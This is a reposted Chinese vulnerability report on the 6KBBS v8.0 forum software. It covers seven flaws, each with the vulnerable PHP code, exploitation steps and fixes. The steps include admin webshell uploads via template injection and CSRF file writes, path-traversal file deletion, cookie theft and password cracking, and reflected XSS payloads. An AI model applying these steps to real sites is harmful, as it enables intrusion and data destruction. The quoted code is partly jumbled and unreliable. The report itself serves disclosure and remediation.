网站地图    收藏   

主页 > 后端 > 网站安全 >

6KBBS v8.0 build 20101201漏洞分析报告 - 网站安全 - 自

来源:自学PHP网    时间:2015-04-17 14:47 作者: 阅读:

[导读] www.insight-labs.org Report by insight-labs (Web Security Group) 2011-09-30目录1.普通用户提权漏洞(High)2.后台GetShell 1(High)3.后台GetShell 2(High)4.后台任意文件删除漏洞5.未加HttpOnly的Co......

 

www.insight-labs.org Report  by  insight-labs (Web  Security  Group) 2011-09-30

目录

 

1.普通用户提权漏洞(High)

2.后台GetShell 1(High)

3.后台GetShell 2(High)

4.后台任意文件删除漏洞

5.未加HttpOnly的Cookie

6.网站绝对路径泄露

7.多处反射型XSS

 

一、普通用户提权漏洞(High)

 

<漏洞简介>

普通用户提权漏洞,可以提升为管理员权限。

<漏洞分析>

由于危害程度較大,細節暫不公開

<漏洞利用>

由于危害程度較大,細節暫不公開

<漏洞修复>

由于危害程度較大,細節暫不公開

二、后台GetShell 1(High)

 

<漏洞简介>

后台-用户-用户组管理页面Get Shell

<漏洞分析>

 

/admin/user_ajax.php?action=savegroups2

 

try

{

 

case"savegroups2":

 

 

 

$groups   =     $_POST['groups'];

if(is_array($groups))

{

 

foreach($groups     as    $group)

{

$db->row_update("groups",  $group,   "id={$group['id']}");

}

}

$rows     =     $db->row_select("groups",    "",    0,    "groupid,groupname,popedom,starnu m",     "groupid");

$groups   =     array();

foreach($rows       as    $row)

{

$groups["{$row['groupid']}"]       =     $row;

}

writeGroupsCache();

succeedFlag();

}

catch(Exception     $e)

{

 

 

}

break;

 

echo($e);

 

更新信息以后,通 过writeGroupCache() 函数把更新的信息写到\cache\groups.php   当 中 , 直 接 访 问

\cache\groups.php 就可以得到shell。

<漏洞利用>

1、 登录管理后台。

2、 进入用户-用户组-模块。

3、 任意修改一个用户组名称为{${phpinfo()}}。

4、 访问/cache/groups.php 即可看到phpinfo 页面。

<漏洞修复>

更新数据时对’,”,$符号进行转义,替换为\’,\”,\$。

 

2

 

三、后台GetShell 2(High)

 

<漏洞简介>

后台portalchannel_ajax.php Get Shell

<漏洞分析>

 

/admin/portalchannel_ajax.php?action=saverule

 

try

{

}

 

case"saverule":

 

 

 

$id   =     trim(strFilter($_POST['id']));

$code      =     stripslashes($_POST['code']);

writeFile("collectrules/{$id}.php",$code);

succeedRes();

 

catch(Exception     $e)

{

 

 

}

break;

 

echo($e);

 

直接把id 作为php 的文件名,code 作为文件内容写入/admin/collectrules/文件夹当中。

并且在接收数据的时候,没有验证Referer 和Token,可以通过CSRF 来利用。

<漏洞利用>

1、 登录后台或者使用CSRF 攻击。

2、 向/admin/portalchannel_ajax.php?action=saverule 页面POST 数据

id=test&code=%3C%3Fphpinfo%28%29%3F%3E

3、访问/admin/collectrules/test.php 即可得到shell。

<漏洞修复>

 

增加Referer 和Token 验证,防止CSRF 攻击。 依据论坛需求合理设计该功能。

四、后台任意文件删除漏洞

 

<漏洞简介>

后台任意文件删除漏洞

<漏洞分析>

 

/admin/database.php

case"delete"    :

$fileids    =     $_POST['fileids'];

var_dump($fileids);

if(!empty($fileids)  &&  is_array($fileids))

{

foreach($fileids      as    $fileid)

{

echo       $backdir;

if(file_exists("./{$backdir}/"  .      $fileid))

{

www.2cto.com

}

}

}

else

{

 

@unlink("./{$backdir}/".      $fileid);

$msgs[]  =     "文件删除成功:".$fileid;

 

$msgs[]  =     "请选择要删除的文件。";

}

show_msg($msgs);

 

 

break;

<漏洞利用>

1、 登录后台或者使用CSRF 攻击。

2、 向/admin/admin.php?inc=database&action=delete 页面POST 数据。

fileids[]=../../../index.php

3、index.php 被删除。

<漏洞修复>

增加Referer 和Token 验证,防止CSRF 攻击。

对fileids[]  变量进行过滤,替换变量中的.和\,/。

五、未加HttpOnly 的Cookie

 

<漏洞简介>

Cookie 中存有密码,并且未加HttpOnly

<漏洞分析>

 

/login.php

 

 

setCookies('username',   $row['username'],  $t);

setCookies('userpass',    $userpass_encrypt,$t);

setCookies('userauth',    md5($row['username'].$userpass_encrypt.$cache_settings['salt'])

,      $t);

setCookies('userhidden',$userhidden,   $t);

setCookies('expire',$t,   $t);

 

 

cookie 中的userpass 字段直接使用用户密码加密串来赋值,并且未加入HttpOnly 属性。攻击者可以通过XSS 攻 击轻松取到用户的Cookie 和加密后的密码,由于密码为md5 加密,所以很容易被破解。

<漏洞利用>

1、 使用XSS 获取其他用户Cookie

2、 使用在线破解网站破解用户密码,或者使用用户的cookie 进行登录。

<漏洞修复>

setCookies 的时候,加入HttpOnly 属性。

六、网站绝对路径泄露

 

<漏洞简介>

爆网站绝对路径

<漏洞分析>

 

/admin/portalcollect.php

/getfiles.php?f=http://xxx&t=js

 

未加入@容错,导致绝对路径泄露。

<漏洞利用>

 

1、 直接访问/admin/portalcollect.php 或者/getfiles.php?f=http://xxx&t=js 即可爆出绝对路径。

<漏洞修复>

 

关闭PHP 错误提示。 在出错的函数之前加上@

6

 

七、多处反射型XSS

 

<漏洞简介>

多处反射型XSS

<漏洞分析>

多处直接使用$_SERVER['PHP_SELF']变量而未进行编码,导致多处反射型XSS 漏洞。

credits.php/"><script>alert(1)</script> forum.php/"><script>alert(1)</script> index.php/"><script>alert(1)</script> login.php/"><script>alert(1)</script> online.php/"><script>alert(1)</script>

<漏洞利用>

1、credits.php/"><script>恶意JS代码</script>

2、 ….

<漏洞修复>

进行转义

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论